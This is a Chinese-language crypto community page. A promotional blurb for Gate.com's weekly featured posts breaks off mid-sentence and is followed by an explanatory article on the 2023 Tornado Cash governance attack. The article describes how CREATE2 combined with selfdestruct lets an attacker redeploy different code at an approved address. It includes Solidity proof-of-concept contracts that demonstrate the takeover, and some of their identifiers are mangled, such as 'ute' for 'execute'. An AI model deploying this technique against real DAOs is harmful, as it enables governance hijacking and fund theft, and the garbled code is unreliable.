📢 Gate广场 #每周精品内容# 开启公布啦:发现优质内容,探索投资见解!
每周五精选5篇优质帖文发布于广场官号,获得“精选标识”及 $50 合约体验券,助您提升社区曝光度!
🔥 本周社区精选内容来啦! 一起围观大神们的独家见解👇
1.吉川富郎君 | 行情走势深度解析 👉️ https://www.gate.com/post/status/13148533
2.flyawei | 最新消息面解读 👉️ https://www.gate.com/post/status/13211788
3.Crypto eNjoy | ONDO币种全方位分析 👉️ https://www.gate.com/post/status/13086040
4.AngelCrypto | 比特币短线走势研判 👉️ https://www.gate.com/post/status/13205746
5.马克如Mc | 中国稳定币发展趋势深度探讨 👉️https://www.gate.com/post/status/13218350
📜 如何发布符合广场推荐的精品内容帖?
1. 帖文聚焦加密见解,如行业新闻、行情分析、币种推荐、行业趣事等。
2. 结构清晰,内容详实,分析精准,语言有趣易懂,图文并茂。
3. 字数超过30字且内容原创,可附带相关话题、币种标签、交易卡片。
创作者们,请积极发
Tornado治理攻击:如何同一个地址上部署不同的合约
大概两周前(5 月 20 日),知名混币协议 Tornado Cash 遭受到治理攻击,黑客获取到了Tornado Cash的治理合约的控制权(Owner)。
攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案, 待提案通过之后, 销毁了提案要执行的合约地址, 并在该地址上重新创建了一个攻击合约。
攻击过程可以查看 SharkTeam 的 Tornado.Cash提案攻击原理分析[1]。
这里攻击的关键是在同一个地址上部署了不同的合约, 这是如何实现的呢?
背景知识
EVM 中有两个操作码用来创建合约:CREATE 与 CREATE2 。
CREATE 操作码
当使用 new Token() 使用的是 CREATE 操作码 , 创建的合约地址计算函数为:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))
创建的合约地址是通过创建者地址 + 创建者Nonce(创建合约的数量)来确定的, 由于 Nonce 总是逐步递增的, 当 Nonce 增加时,创建的合约地址总是是不同的。
CREATE2 操作码
当添加一个salt时 new Token{salt: bytes32()}() ,则使用的是 CREATE2 操作码 , 创建的合约地址计算函数为:
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码, 因此 只有相同字节码 和 使用相同的盐值,才可以部署到同一个合约地址上。
那么如何才能在同一地址如何部署不用的合约?
攻击手段
攻击者结合使用 Create2 和 Create 来创建合约, 如图:
先用 Create2 部署一个合约 Deployer , 在 Deployer 使用 Create 创建目标合约 Proposal(用于提案使用)。Deployer 和 Proposal 合约中均有自毁实现(selfdestruct)。
在提案通过后,攻击者把 Deployer 和 Proposal 合约销毁,然后重新用相同的slat创建 Deployer , Deployer 字节码不变,slat 也相同,因此会得到一个和之前相同的 Deployer 合约地址, 但此时 Deployer 合约的状态被清空了, nonce 从 0 开始,因此可以使用该 nonce 创建另一个合约Attack。
攻击代码示例
此代码来自:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract DAO {
struct Proposal {
address target;
bool approved;
bool uted;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(Proposal({target: target, approved: true, uted: false}));
}
function ute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.uted, "uted");
proposal.uted = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(ok, "delegatecall failed");
}
}
contract Proposal {
event Log(string message);
function uteProposal() external {
emit Log("Excuted code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function uteProposal() external {
emit Log("Excuted code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}
大家可以使用该代码自己在 Remix 中演练一下。